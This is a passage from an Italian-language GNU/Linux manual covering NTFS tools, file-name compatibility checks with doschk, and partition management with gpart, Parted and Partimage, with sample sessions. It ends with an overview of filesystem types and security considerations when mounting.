Allo stato attuale, la gestione di un file system NTFS attraverso un sistema GNU/Linux è ancora incompleta. Pertanto, si usano strumenti particolari per accedere a questo tipo di file system. Data la diffusione del file system NTFS e, di conseguenza, la necessità frequente di convivere con questo, vale la pena di conoscere cosa si può fare concretamente attraverso un sistema GNU/Linux.

Il pacchetto di programmi NTFSprogs,[17] raccoglie degli strumenti per l'accesso ai file system NTFS (senza che questo sia stato innestato). L'utilizzo di alcuni di questi programmi viene descritto brevemente nella tabella 21.32.

Tabella 21.32. Strumenti di NTFSprogs.

Modello sintattico	Descrizione
`mkntfs [opzioni] dispositivo [n_settori]` `mkfs.ntfs [opzioni] dispositivo [n_settori]`	Crea un file system NTFS nell'unità o nella partizione corrispondente al file di dispositivo specificato.
`ntfsresize [opzioni] --info dispositivo` `ntfsresize [opzioni] --size dimensione dispositivo`	Verifica o modifica la dimensione della partizione; il valore della dimensione è espresso in byte.

Eventualmente si veda anche la sezione 21.11.6.

21.2.4 Compatibilità dei nomi tra un file system e l'altro

Un problema comune quando si vogliono copiare dati in un file system diverso da quello solito, consiste nel verificare se ci possono essere problemi con i nomi usati per i file e le directory. Un programma molto semplice permette di verificare la compatibilità dei nomi con un file system di tipo Dos-FAT (con nomi «8.3») e SYSV (al massimo di 14 caratteri):

```
doschk nome_file...
```

```
echo nome_file... | doschk
```

Per comprendere il funzionamento di '**doschk**'[18] è sufficiente un esempio:

```
$ ls | doschk [Invio]

The following files are not valid DOS file names:
home.html.bak - too many dots
hw-mb-pci-msi-ms5169-1998-legenda.pnm.gz - too many dots
prova.fig.bak - too many dots

The following resolve to the same DOS file names:
HOME.HTM       : home.html
                 home.html.bak
MAIL           : Mail
                 mail
PROVA.FIG      : prova.fig
                 prova.fig.bak

The following file names are too long for SysV:
blick-electric : blick-electric.gif
contratti-inte : contratti-internet
hw-mb-pci-msi- : hw-mb-pci-msi-ms5169-1998-legenda.pnm.gz
```

21.3 Memoria di massa: gestione delle partizioni

Le partizioni che contengono già un file system, possono essere rimaneggiate attraverso l'uso di strumenti specializzati per la loro copia, per lo spostamento e per il ridimensionamento. Tali strumenti sono utili quando sono in grado di tenere conto del tipo di file system e di fare tutti gli adattamenti necessari di conseguenza.

21.3.1 Gpart

Il programma '**gpart**'[19] consente di scandire un'unità di memorizzazione o un file-immagine per ricostruire la sua suddivisione in partizioni:

```
gpart [opzioni] file_di_dispositivo
```

```
gpart -C cilindri,testine,settori -g [altre_opzioni] file_immagine
```

Per poter fornire informazioni corrette, il programma deve conoscere la geometria virtuale dell'unità da controllare, cosa che ottiene normalmente dal sistema operativo; tuttavia, quando il valore ottenuto automaticamente non è valido, oppure quando si tratta di un file-immagine, tale informazione deve essere fornita attraverso le opzioni della riga di comando, come si vede nel modello proposto a proposito della lettura di un file-immagine.

Si osservi che la ricerca eseguita da '**gpart**' è più semplice e più attendibile se la suddivisione in partizioni dell'unità da scandire non prevede la presenza di partizioni «logiche»; in pratica, va meglio se ci sono solo partizioni primarie che si annotano nel primo settore di avvio.

Viene mostrato un solo esempio, molto semplice, di un'unità che ha una tabella delle partizioni coerente con la suddivisione effettiva; per un approfondimento dell'uso del programma si può consultare la pagina di manuale *gpart(8)*.

gpart /dev/sdb [*Invio*]

Si richiede la scansione della seconda unità di memorizzazione; in questo caso si ottiene il risultato seguente:

```
Begin scan...
Possible partition(Linux swap), size(8259mb), offset(0mb)
Possible partition(Linux ext2), size(13350mb), offset(8259mb)
Possible partition(Linux ext2), size(21603mb), offset(21610mb)
Possible partition(Linux ext2), size(34944mb), offset(43213mb)
End scan.

Checking partitions...
Partition(Linux swap or Solaris/x86): primary
Partition(Linux ext2 filesystem): primary
Partition(Linux ext2 filesystem): primary
Partition(Linux ext2 filesystem): primary
Ok.

Guessed primary partition table:
Primary partition(1)
   type: 130(0x82)(Linux swap or Solaris/x86)
   size: 8259mb #s(16916376) s(63-16916438)
   chs:  (0/1/1)-(1023/15/63)d (0/1/1)-(16782/2/57)r
```

```
Primary partition(2)
   type: 131(0x83)(Linux ext2 filesystem)
   size: 13350mb #s(27342624) s(16916445-44259068)
   chs:  (1023/15/63)-(1023/15/63)d (16782/3/1)-(43907/12/57)r

Primary partition(3)
   type: 131(0x83)(Linux ext2 filesystem)
   size: 21603mb #s(44243008) s(44259075-88502082)
   chs:  (1023/15/63)-(1023/15/63)d (43907/13/1)-(87799/10/61)r

Primary partition(4)
   type: 131(0x83)(Linux ext2 filesystem)
   size: 34944mb #s(71565312) s(88502085-160067396)
   chs:  (1023/15/63)-(1023/15/63)d (87799/11/1)-(158797/0/21)r
```

21.3.2 Parted

La gestione delle partizioni di un'unità di memorizzazione, in un sistema GNU/Linux, può essere fatta con Parted,[20] il quale consente anche il loro spostamento, il ridimensionamento e l'inizializzazione, con i file system comuni nei sistemi GNU/Linux. L'utilizzo di Parted richiede comunque una buona conoscenza del problema e di conseguenza conviene prima fare esperienza con gli strumenti tradizionali.

Per svolgere il suo compito, Parted richiede di specificare inizialmente il file di dispositivo corrispondente all'unità nella quale vanno gestite le partizioni (può trattarsi anche di un file-immagine che rappresenta un'unità di memorizzazione suddivisa o da suddividere in partizioni); successivamente, attraverso dei comandi si fa riferimento alle partizioni indicando un numero, il quale rappresenta precisamente il numero secondario (*minor number*) del file di dispositivo corrispondente. Per esempio, volendo fare riferimento a una partizione, il cui file di dispositivo è normalmente '`/dev/sda2`', con i comandi di Parted si deve specificare il numero 2, che corrisponde al numero secondario di tale file:

$ **`ls -l /dev/sda2`** [*Invio*]

```
brw-rw----  1 root disk 8, 2 2010-01-01 11:11 /dev/sda2
```

Parted si avvia attraverso l'eseguibile '**`parted`**', il quale ha due modalità di funzionamento: una interattiva e l'altra no.

> `parted` [***opzioni***] [***file_di_dispositivo***]

> `parted` [***opzioni***] ***file_di_dispositivo comando_e_argomenti***

Nel primo modello sintattico si vede l'avvio di Parted per funzionare in modo interattivo; nel secondo, aggiungendo in coda il comando desiderato, il programma smette di funzionare al termine dell'esecuzione dello stesso.

È da osservare che il file di dispositivo, il quale appare formalmente come facoltativo nella riga di comando, serve a specificare su quale unità si intende lavorare; se non viene specificato all'avvio, occorre poi usare il comando '**`select`**' per indicarlo durante il funzionamento in modalità interattiva.

Le opzioni previste per l'avvio di Parted sono utili solo in poche occasioni; in particolare, merita di essere ricordata l'opzione '**`-s`**', ovvero '**`--script`**', con la quale si vuole precisare che il programma non deve tentare di interagire con l'utente (presumibilmente perché viene avviato all'interno di uno script).

Diversi comandi di Parted fanno riferimento a una porzione dell'unità di memorizzazione, individuata da un punto iniziale e un punto finale. Per delimitare questi intervalli, si fa riferimento a dimensioni espresse in mebibyte (simbolo «Mibyte», ovvero multipli di 1048576 byte). Al contrario, con programmi tradizionali per la gestione delle partizioni, si deve fare riferimento ai cilindri, ma questo approccio è stato evitato volutamente nella realizzazione del programma.

Tabella 21.36. Alcuni comandi di Parted.

Comando	Descrizione
`quit`	Termina il funzionamento del programma.
`help` [***comando***]	Mostra l'elenco dei comandi disponibili, oppure mostra la sintassi del comando specificato.
`select` ***file***	Seleziona l'oggetto su cui intervenire; potrebbe trattarsi di un file di dispositivo che fa riferimento a un'unità di memorizzazione reale, oppure un file-immagine che la rappresenta. In ogni caso, con questo comando, si individua qualcosa che viene suddiviso in partizioni.
`print`	Mostra l'elenco delle partizioni presenti nell'oggetto selezionato (già nella riga di comando oppure attraverso il comando '**`select`**').
`mklabel loop`|`msdos`|`pc98`|...	Crea una tabella di partizioni secondo lo schema specificato dall'argomento del comando. La parola chiave '**`loop`**' fa riferimento a un'unità senza tabella di partizioni; il tipo '**`pc98`**' è una versione un po' più evoluta della tabella tradizionale per sistemi Dos. Sono disponibili altre parole chiave per altrettante tabelle di partizione differenti, che però qui sono state omesse nel modello.
`mkpart` ***tipo*** [***file_system***] ***inizio*** ***fine***	Crea una partizione. Il tipo è rappresentato da una parola chiave come '**`primary`**', '**`extended`**' o '**`logical`**', tenendo conto che non tutti gli schemi di partizionamento prevedono partizioni estese e logiche. Il file system, facoltativo, viene specificato con una parola chiave, come per esempio '**`ext2`**', '**`fat32`**', '**`fat16`**', '**`HFS`**', '**`linux-swap`**'.
`mkfs` ***n*** ***file_system***	Inizializza una partizione, specificata attraverso il numero secondario (***n***), con il file system indicato alla fine del comando da una parola chiave analoga a quella di '**`mkpart`**'.
`mkpartfs` ***tipo*** ***file_system*** ***inizio*** ***fine***	Crea una partizione e la inizializza. Si utilizza come il comando '**`mkpart`**', con la differenza che la partizione viene inizializzata.

Comando	Descrizione
`check` ***n***	Controlla che il file system contenuto nella partizione individuata dal numero secondario ***n*** sia privo di errori.
`set` ***n*** ***opzione*** `on`|`off`	Consente di attivare ('**`on`**') o disattivare ('**`off`**') una certa opzione booleana, associata alla partizione del numero secondario ***n***. Le opzioni disponibili dipendono dal tipo di schema di partizionamento usato.
`set` ***n*** `boot on`|`off`	Attiva o disattiva l'opzione di «avvio». Con i sistemi Dos, l'attivazione di questa opzione rende avviabile la partizione relativa.
`set` ***n*** `lba on`|`off`	Attiva o disattiva l'opzione con cui si specifica che lo schema di accesso all'unità è di tipo LBA (*Linear block addressing*).
`resize` ***n*** ***inizio*** ***fine***	Ridimensiona la partizione individuata dal numero secondario ***n***, in modo che inizi e finisca nell'intervallo indicato. Il ridimensionamento può avvenire solo se la partizione contiene un file system compatibile, tenendo conto che, in alcuni casi, può essere impossibile modificare il punto di inizio della partizione, rispetto alla sua collocazione precedente.
`move` ***n*** ***inizio*** [***fine***]	Sposta la partizione individuata dal numero secondario ***n***, in modo che inizi e finisca nell'intervallo indicato. Se la posizione finale viene indicata, si ottiene un ridimensionamento della partizione, altrimenti questa rimane tale e quale. Con alcuni file system è necessario che la destinazione sia più grande dell'origine.
`rm` ***n***	Cancella la partizione individuata dal numero secondario ***n*** (temporaneamente il contenuto della partizione rimane presente, anche se non più raggiungibile). Si osservi che in alcuni casi, la cancellazione di una partizione provoca la rinumerazione di quelle successive.
`cp` ***m*** ***n*** `cp` ***file_origine*** ***m*** ***n***	Copia la partizione ***m*** nella partizione ***n***. Nel secondo modello, si specifica il file, o il file di dispositivo, che contiene la partizione di origine, così da consentire la copia da un'unità diversa o da un file-immagine diverso.

I comandi di Parted sono «semplici», ma richiedono la conoscenza di ciò che si sta facendo, soprattutto delle caratteristiche dello schema di partizionamento utilizzato. Tanto per fare un esempio, il comando '**`mkpart`**' richiede, eventualmente, l'indicazione di un tipo di file system, ma questa informazione serve in modo indiretto, per determinare il codice da attribuire al tipo di partizione. Per esempio, se con il comando '**`mkpart`**' si indicasse un file system di tipo '**`ext3`**', si otterrebbe una partizione di tipo 83_{16}, ovvero di tipo «Linux».

Vengono descritti alcuni esempi, che fanno parte di una sequenza coerente di operazioni, dove Parted viene usato in modo interattivo. Questi esempi non esauriscono le potenzialità di Parted; per maggiori dettagli e per conoscere lo stato dello sviluppo di questo programma, occorre fare riferimento alla documentazione originale.

- `#` **`parted /dev/sda`** [*Invio*]

Si avvia il programma specificando di intervenire con i comandi nell'unità corrispondente al file di dispositivo '`/dev/sda`'.

```
GNU Parted 1.6.11 with HFS shrink patch 12.5
Copyright (C) 1998 - 2004 Free Software Foundation, Inc.
This program is free software, covered by the GNU General Public License.

This program is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.  See the GNU General Public License for more details.

Using /dev/sda
```

Inizia quindi il funzionamento interattivo di Parted, caratterizzato dall'invito seguente:

`(parted)`

- `(parted)` **`mklabel msdos`** [*Invio*]

  Crea uno schema di partizionamento conforme a quello usato dal sistema operativo Dos.

- `(parted)` **`mkpartfs primary fat16 0 100`** [*Invio*]

  Crea una partizione primaria con un file system di tipo Dos-FAT 16, dall'inizio (zero) fino ai primi 100 Mibyte circa. La partizione viene inizializzata.

- `(parted)` **`print`** [*Invio*]

  Mostra lo stato attuale delle partizioni:

```
Disk geometry for /dev/sda: 0.000-158.277 megabytes
Disk label type: msdos
Minor    Start       End     Type      Filesystem  Flags
1          0.016    100.000  primary   fat16       lba
```

- `(parted)` **`mkpartfs primary ext4 100 159`** [*Invio*]

  Crea una partizione primaria di tipo Ext4, subito dopo i primi 100 Mibyte, fino a raggiungere la posizione di 159 Mibyte circa. Questo esempio è collegato a quelli precedenti, pertanto la seconda partizione occupa tutto lo spazio rimanente nell'unità di memorizzazione.

- `(parted)` **`print`** [*Invio*]

  Mostra lo stato attuale delle partizioni:

```
Disk geometry for /dev/sda: 0.000-158.277 megabytes
Disk label type: msdos
Minor    Start       End     Type      Filesystem  Flags
1          0.016    100.000  primary   fat16       lba
2        100.000    158.250  primary   ext4
```

- `(parted)` **`rm 1`** [*Invio*]

  Cancella la prima partizione.

- (parted) **print** [*Invio*]

  Mostra lo stato attuale delle partizioni:

```
Disk geometry for /dev/sda: 0.000-158.277 megabytes
Disk label type: msdos
Minor    Start       End     Type      Filesystem  Flags
2        100.000    158.250  primary   ext4
```

- (parted) **move 2 0** [*Invio*]

  Sposta la seconda partizione, nella posizione iniziale dell'unità di memorizzazione, lasciando intendere che la posizione finale sia quella necessaria a contenere la dimensione originale:

  End? [58.2495]? [*Invio*]

```
raw block copying...
```

- (parted) **print** [*Invio*]

  Mostra lo stato attuale delle partizioni:

```
Disk geometry for /dev/sda: 0.000-158.277 megabytes
Disk label type: msdos
Minor    Start       End     Type      Filesystem  Flags
2          0.016     58.312  primary   ext4
```

- (parted) **resize 0 70** [*Invio*]

  Ingrandisce la partizione, estendendola fino ai primi 70 Mibyte circa.

- (parted) **print** [*Invio*]

  Mostra lo stato attuale delle partizioni:

```
Disk geometry for /dev/sda: 0.000-158.277 megabytes
Disk label type: msdos
Minor    Start       End     Type      Filesystem  Flags
2          0.016     70.000  primary   ext4
```

- (parted) **mkpart primary 70 159** [*Invio*]

  Crea una partizione primaria, senza specificare il tipo di file system che si vuole usare al suo interno, nello spazio rimanente dell'unità di memorizzazione.

- (parted) **print** [*Invio*]

  Mostra lo stato attuale delle partizioni:

```
Disk geometry for /dev/sda: 0.000-158.277 megabytes
Disk label type: msdos
Minor    Start       End     Type      Filesystem  Flags
2          0.016     70.000  primary   ext4
1         70.000    158.250  primary
```

- (parted) **cp 2 1** [*Invio*]

  Copia la partizione 2 nella partizione 1, estendendo il file system nella destinazione.

```
raw block copying...
growing file system...
```

- (parted) **print** [*Invio*]

  Mostra lo stato attuale delle partizioni:

```
Disk geometry for /dev/sda: 0.000-158.277 megabytes
Disk label type: msdos
Minor    Start       End     Type      Filesystem  Flags
2          0.016    70.000   primary   ext4
1         70.000   158.250   primary   ext4
```

- (parted) **quit** [*Invio*]

  Termina il funzionamento del programma.

21.3.3 Partimage

Partimage[21] è un programma che può essere usato in modo interattivo o meno, per la copia e la riproduzione delle partizioni di un'unità di memorizzazione di massa. In particolare, la copia di una partizione implica normalmente anche l'archiviazione del primo settore dell'unità di memorizzazione (MBR).

```
partimage [opzioni_e_argomenti]
```

L'eseguibile '**partimage**' va avviato con i privilegi necessari per accedere alle partizioni; in pratica, va usato in qualità di utente '**root**'. Se non si usano opzioni o argomenti di alcun tipo, si ottiene un funzionamento interattivo.

Nelle sezioni successive viene mostrato l'uso di Partimage in modo interattivo; per un uso diverso, conviene consultare la pagina di manuale *partimage(1)* ed eventualmente anche *partimaged(8)* per la gestione dell'archiviazione delle partizioni attraverso la rete.

21.3.3.1 Archiviazione

Viene mostrato un esempio di archiviazione di una partizione in modo interattivo; per la precisione, si archivia la partizione '/dev/sda1':

partimage [*Invio*]

```
.---------------------| Partition Image 0.6.4 |---------------------.
| * Partition to save/restore                                       |
|   hdd7                                 ext3fs       15.38 GiB     |
|   hdd8                                 ext3fs       24.03 GiB     |
|   hdd9                                 ext3fs       39.41 GiB     |
|   md0                                  ext3fs       14.42 GiB     |
| # sda1 ############################### ext3fs ##### 15.32 GiB ##  |
|   sda2                                 ext3fs       53.62 GiB     |
|   sda4                                 swap (v1)    7.38 GiB      |
|                                                                   |
| * Image file to create/use                                        |
|   [/tmp/immagine________________________________________________]  |
|                                                                   |
| Action to be done:                                <Next (F5)>     |
| (*) Save partition into a new image file                          |
| ( ) Restore partition from an image file          <About>         |
| ( ) Restore an MBR from the imagefile                             |
|                                                   <Exit (F6)>     |
| [ ] Connect to server                                             |
|     IP/name of the server: __________________________ Port: 4025__ |
|     [X] Encrypt data on the network with SSL                      |
'-------------------------------------------------------------------'
```

Attraverso una barra di scorrimento si seleziona '**`sda1`**', come si vede nella schermata di esempio; inoltre, si specifica il nome del file in cui salvare l'immagine della partizione: in questo caso si tratta di '`/tmp/immagine`', ma in realtà, il nome esatto contiene un'estensione numerica ('`.000`').

Una volta compilata la maschera iniziale, come nell'esempio, si passa alla maschera successiva premendo il tasto [*F5*]:

```
.-------------------| save partition to image file |-------------------.
|                                                                      |
| Compression level                                                    |
| ( ) None (very fast + very big file)                                 |
| (*) Gzip (.gz: medium speed + small image file)                      |
| ( ) Bzip2 (.bz2: very slow + very small image file)                  |
|                                                                      |
|                                                                      |
| Options                                   If finished successfully:  |
| [X] Check partition before saving         (*) Wait                   |
| [X] Enter description                     ( ) Halt                   |
| [ ] Overwrite without prompt              ( ) Reboot                 |
|                                           ( ) Quit                   |
| Image split mode                          ( ) Last                   |
| (*) Automatic split (when no space left)                             |
| ( ) Into files whose size is:............ 2037____ MiB               |
| [ ] Wait after each volume change                                    |
|                                                                      |
|                                                                      |
|                                                                      |
|    <Continue (F5)>       <Exit (F6)>          <Main window (F7)>     |
'----------------------------------------------------------------------'
```

In questa fase viene richiesto, in particolare, di specificare il metodo di compressione e se si vuole ottenere un file unico o una serie di file di dimensione stabilita. Anche qui, si prosegue con il tasto [*F5*]:

```
.--------------------| Partition description |--------------------.
|                                                                  |
| You can enter a description of the saved partition:              |
|                                                                  |
| [Prima partizione del disco USB esterno ___________________]     |
|                                                                  |
|                            .----.                                |
|                            | Ok |                                |
|                            '----'                                |
|                                                                  |
'------------------------------------------------------------------'
```

Conviene mettere una descrizione, per annotare di che cosa si tratta, come si vede nell'esempio. Si conferma l'inizio dell'archiviazione con il pulsante grafico [OK].

```
.---------.-------------| Ext3fs informations |--------------.---------.
| Partitio|                                                  |         |
| Size of | Space usage:..................2 %                |         |
| Image fi| Used space....................374.71 MiB       |         |
|         | Free space....................14.95 GiB        |         |
|         | Bitmap size...................1.92 MiB         |         |
| Detected| Label.........................                 |         |
| Compress| Number of groups..............123              |         |
|         | First block...................0                |         |
|         | Ext3fs journalization.........yes              |         |
|         | Sparse super block............yes              |         |
|         | Large files support...........no               |         |
|         | File system revision..........1                |         |
|         |                      .----.                      |         |
|         |                      | Ok |                      |         |
|         |                      '----'                      |         |
|         '--------------------------------------------------'         |
'----------------------------------------------------------------------'
```

Terminato il controllo della partizione, si conferma ancora con il pulsante grafico [OK]:

```
.------------------| save partition to image file |-------------------.
| Partition to save:.........../dev/sda1                              |
| Size of the Partition:.......15.32 GiB = 16450527744 bytes          |
| Current image file:........../tmp/immagine.000                     |
| Image file size:.............56.00 KiB                              |
| Available space for image:...17.51 GiB = 18796441600 bytes          |
| Detected file system:........ext3fs                                 |
| Compression level:...........gzip                                   |
|                                                                     |
|                                                                     |
| Time elapsed:................3sec                                   |
| Estimated time remaining:....21sec                                  |
| Speed:.......................930.00 MiB/minn                        |
| Data copied:.................46.50 MiB / 374.71 MiBB                |
|                                                                     |
|                                                                     |
|                                                                     |
|                                                                     |
|                                                                     |
| ########______________________12%_____________________________ 12 % |
|                                                                     |
'---------------------------------------------------------------------'
```

Come si può vedere, la partizione viene archiviata nel file '`/tmp/immagine.000`'; se dovessero essere utilizzati più file, l'estensione progredirebbe: '`.001`', '`.002`',...

Al termine appare una schermata di conferma.

```
.------------| Success |-------------.
|                                    |
| Operation  successfully finished:  |
|                                    |
| Time elapsed:...27sec              |
| Speed:..........832.69 MiB/min     |
| Data copied:....374.71 MiB         |
|                                    |
|              .----.                |
|              | Ok |                |
|              '----'                |
|                                    |
'------------------------------------'
```

21.3.3.2 Ripristino

Viene mostrato un esempio di ripristino di una partizione in modo interattivo; per la precisione, si ripristina un file nella partizione '`/dev/sda2`', più grande rispetto a quella originaria:

`#` **`partimage`** [*Invio*]

```
.---------------------| Partition Image 0.6.4 |----------------------.
| * Partition to save/restore                                        |
|   hdd7                                ext3fs       15.38 GiB       |
|   hdd8                                ext3fs       24.03 GiB       |
|   hdd9                                ext3fs       39.41 GiB       |
|   md0                                 ext3fs       14.42 GiB       |
|   sda1                                ext3fs       15.32 GiB       |
| # sda2 ############################## ext3fs ##### 53.62 GiB ##    |
|   sda4                                swap (v1)    7.38 GiB        |
|                                                                    |
| * Image file to create/use                                         |
|   [/tmp/immagine.000___________________________________________]   |
|                                                                    |
| Action to be done:                              <Next (F5)>        |
| ( ) Save partition into a new image file                           |
| (*) Restore partition from an image file        <About>            |
| ( ) Restore an MBR from the imagefile                              |
|                                                 <Exit (F6)>        |
| [ ] Connect to server                                              |
|     IP/name of the server: _________________________ Port: 4025__  |
|     [X] Encrypt data on the network with SSL                       |
'--------------------------------------------------------------------'
```

Come si vede, si prende il primo e unico file ottenuto dall'archiviazione eseguita nella sezione precedente, per ripristinare i dati nella partizione '`/dev/sda2`'. Si prosegue premendo il tasto [*F5*]:

```
.----------------| restore partition from image file |-----------------.
|                                                                       |
| Options                                                               |
| [ ] Simulation of the restoration (nothing is written)                |
| [ ] Erase free blocks with zero values                                |
|                                                                       |
| If finished .--------| Partition description |---------.              |
| (*) Wait    |                                          |              |
| ( ) Halt    | Prima partizione del disco USB esterno   |              |
| ( ) Reboot  |                                          |              |
| ( ) Quit    |                 .----.                   |              |
|             |                 | Ok |                   |              |
|             |                 '----'                   |              |
|             |                                          |              |
|             '------------------------------------------'              |
|                                                                       |
|   <Continue (F5)>       <Exit (F6)>          <Main window (F7)>      |
'-----------------------------------------------------------------------'
```

Viene mostrata la descrizione del file, prima di procedere.

```
.----------------| restore partition from image file |-----------------.
|                                                                       |
| Options                                                               |
| [ ] Simulation of the restoration (nothing is written)                |
| [ ] Erase free blocks with zero values                                |
|                                                                       |
| If finished successfully:                                             |
| (*) Wait                                                              |
| ( ) Halt                                                              |
| ( ) Reboot                                                            |
| ( ) Quit                                                              |
|                                                                       |
|                                                                       |
|   <Continue (F5)>       <Exit (F6)>          <Main window (F7)>      |
'-----------------------------------------------------------------------'
```

Nella maschera finale si può ancora richiedere di simulare il recupero; in questo caso viene eseguito realmente. Si procede con il tasto [*F5*]:

```
.---------.--------------| Ext3fs informations |-------------.---------.
| Partitio|                                                  |         |
| Size of | Space usage:..................2 %                |         |
| Current | Used space....................374.71 MiB         |         |
| File sys| Free space....................14.95 GiB          |         |
| Compress| Bitmap size...................1.92 MiB           |         |
| Partitio| Label.........................                   |         |
| Image cr| Number of groups..............123                |         |
| Size of | First block...................0                  |         |
|         | Ext3fs journalization.........yes                |         |
|         | Sparse super block............yes                |         |
|         | Large files support...........no                 |         |
|         | File system revision..........1                  |         |
|         |                       .----.                     |         |
|         |                       | Ok |                     |         |
|         |                       '----'                     |         |
|         '--------------------------------------------------'         |
'-----------------------------------------------------------------------'
```

```
.----------------| restore partition from image file |-----------------.
| Partition to restore:.........../dev/sda2                            |
| Size of partition to restore:.....53.62 GiB = 57576960000 bytes      |
| Current image file:.............../tmp/immagine.000                  |
| File system:.....--------| Confirmation |---------.                  |
| Compression leve|                                  |                  |
| Partition was on| Do you really want to restore   |                  |
| Image created on| /dev/sda2 from the image file   | 3 2006           |
| Size of the orig| /tmp/immagine.000 ?             | 27744 bytes      |
|                 |    .-----.         .----.       |                  |
|                 |    | Yes |         | No |       |                  |
|                 |    '-----'         '----'       |                  |
|                 '---------------------------------'                  |
|                                                                      |
|                               0%                                     |
|                                                                      |
'----------------------------------------------------------------------'
```

```
.--------------------| restore partition from image file |-------------.
| Partition to restore:.........../dev/sda2                            |
| Size of partition to restore:.....53.62 GiB = 57576960000 bytes      |
| Current image file:.............../tmp/immagine.000                  |
| File system:......................ext3fs                             |
| Compression level:................gzip                               |
| Partition was on device:........../dev/sda1                          |
| Image created on:.................Tue Apr 25 11:12:13 2006           |
| Size of the original partition:...15.32 GiB = 16450527744 bytes      |
|                                                                      |
| Time elapsed:.....................10m:41sec                          |
| Estimated time remaining:.........16m:35sec                          |
| Speed:............................13.73 MiB/minn                     |
| Data copied:......................146.73 MiB / 374.71 MiB            |
|                                                                      |
| ############################__39%_____________________________ 39 %  |
|                                                                      |
'----------------------------------------------------------------------'
```

```
.----------------| restore partition from image file |-----------------.
| Partition to restore:.........../dev/sda2                            |
| Size of partition to restore:.....53.62 GiB = 57576960000 bytes      |
| Current image file:.............../tmp/immagine.000                  |
| File system:....------------| Success |------------.                 |
| Compression lev|                                    |                 |
| Partition was o| Operation  successfully finished:  |                 |
| Image created o|                                    | 2006            |
| Size of the ori| Time elapsed:...10m:52sec          | 744 bytes       |
|                | Speed:..........34.48 MiB/min      |                 |
| Time elapsed:..| Data copied:....374.71 MiB         |                 |
| Estimated time |                                    |                 |
| Speed:.........|              .----.                |                 |
| Data copied:...|              | Ok |                | MiB             |
|                |              '----'                |                 |
|                '------------------------------------'                 |
|                              100%                           100 % |
|                                                                      |
'----------------------------------------------------------------------'
```

A questo punto, dal momento che i dati recuperati riproducono una partizione più piccola dello spazio effettivo, se si dispone degli strumenti appropriati, si può tentare di estenderne le dimensioni allo spazio disponibile:

e2fsck -f /dev/sda2 [*Invio*]

```
e2fsck 1.39-WIP (31-Dec-2005)
Pass 1: Checking inodes, blocks, and sizes
Pass 2: Checking directory structure
Pass 3: Checking directory connectivity
Pass 4: Checking reference counts
Pass 5: Checking group summary information
/dev/sda2: 12/2011296 files (0.0% non-contiguous), 95926/4016242 blocks
```

resize2fs /dev/sda2 [*Invio*]

```
resize2fs 1.39-WIP (31-Dec-2005)
Resizing the filesystem on /dev/sda2 to 14056875 (4k) blocks.
The filesystem on /dev/sda2 is now 14056875 blocks long.
```

21.4 Attivazione e utilizzo

Per poter accedere a un file system di un sistema Unix, occorre dare dei comandi precisi e generalmente conviene intervenire nella configurazione. Tuttavia non esistono comandi od opzioni di configurazione standard per tutti i sistemi Unix e ogni sistema ha le proprie particolarità; pertanto, qui si considerano specificatamente i sistemi GNU/Linux.

21.4.1 Attivazione dei file system

Per poter accedere ai dati di un'unità di memorizzazione organizzata con un file system, è necessario prima innestare (*mount*) il suo file system in quello globale.

Prima di estrarre una di queste unità, o comunque, prima di poter spegnere un elaboratore, occorre eseguire l'operazione opposta di distacco (*unmount*).

In un sistema GNU/Linux devono essere necessariamente innestati il file system principale (*root*) e i file system virtuali '`/proc/`' e '`/sys/`', i quali però non fanno capo ad alcuna unità fisica.

Se si utilizzano partizioni di scambio per la gestione della memoria virtuale, queste devono essere attivate con un'operazione concettualmente simile a quella dell'innesto di un file system, anche se poi non appaiono nella struttura generale del file system globale.

21.4.1.1 Tipi di file system

Quando si innesta un file system è necessario che il modo con cui questo è organizzato (cioè il tipo) sia riconoscibile e gestito dal kernel. Nella tabella 21.62, sono elencati i nomi che identificano i tipi di file system principali, riconoscibili da un kernel Linux.

Tabella 21.62. Elenco dei nomi di file system principali utilizzabili con un kernel Linux.

Tipo di file system	Descrizione
`minix`	Minix 1

`ext2`
`ext3`
`ext4`
	Second-extended

`umsdos`	GNU/Linux su Dos-FAT
`msdos`	Dos-FAT (nomi 8.3)
`vfat`	Dos-VFAT (nomi lunghi)
`nfs`	NFS o file system di rete
`iso9660`	dischi ottici che non contengano file di dimensioni maggiori di 4 Gibyte
`smbfs`	SMB (rete NetBIOS-TCP/IP)
`affs`	Amiga fast file system
`adfs`	Acorn disc filing system
`sysv`	UNIX System V file system
`cramfs`	Compressed ROM file system (sola lettura)
`squashfs`	file system compresso in sola lettura
`hfs` `hfsplus`	Apple Macintosh file system
`hpfs`	OS/2 HPFS
`jfs`	IBM Journaled file system
`ntfs`	Microsoft NTFS
`reiserfs`	ReiserFS
`tempfs`	file system in un disco RAM, che si estende e si contrae automaticamente
`xfs`	IRIX XFS
`ufs`	BSD file system
`proc` `sysfs`	file system virtuali '`/proc/`' e '`/sys/`'

Tipo di file system	Descrizione
`swap`	partizione di scambio

21.4.1.2 Implicazioni legate all'innesto di un file system

L'innesto di un file system implica l'acquisizione di un file system estraneo in quello generale. Questo fatto può far sorgere problemi di sicurezza e di compatibilità con il sistema. L'elenco seguente dovrebbe dare l'idea di alcuni dei problemi connessi.

- Il file system estraneo potrebbe non essere sicuro, di conseguenza si pone il problema di:
  - decidere se gli utenti comuni possono eseguirne l'innesto;
  - decidere se permettere l'avvio dei file eseguibili, infatti potrebbe trattarsi di cavalli di Troia;
  - decidere se considerare validi o meno i permessi SUID e SGID che potrebbero dare ai programmi privilegi indesiderabili.
- Il file system estraneo potrebbe contenere dati che non devono essere modificati; in tal caso conviene utilizzarlo in sola lettura per impedire l'alterazione del suo contenuto, anche solo accidentalmente.
- Il file system estraneo potrebbe essere incompatibile con la struttura di un file system Unix. In tal caso, occorre trovare il modo di farlo assomigliare a questo, per esempio attribuendo a tutti i file gli stessi permessi e la proprietà a un utente e a un gruppo particolare.

Un'altra cosa da considerare sono i permessi della directory radice del disco che si va a innestare. Di per sé non c'è nulla di strano, se il file system che si innesta è in grado di gestire tali informazioni, basta usare i comandi normali, come '**`chmod`**' e '**`chown`**' per cambiarli, ma questo può confondere il principiante. In breve: quando si cambia la proprietà e i permessi di una directory sulla quale è stato innestato un altro file system, questi cambiamenti hanno effetto in quel file system innestato.

21.4.1.3 Opzioni

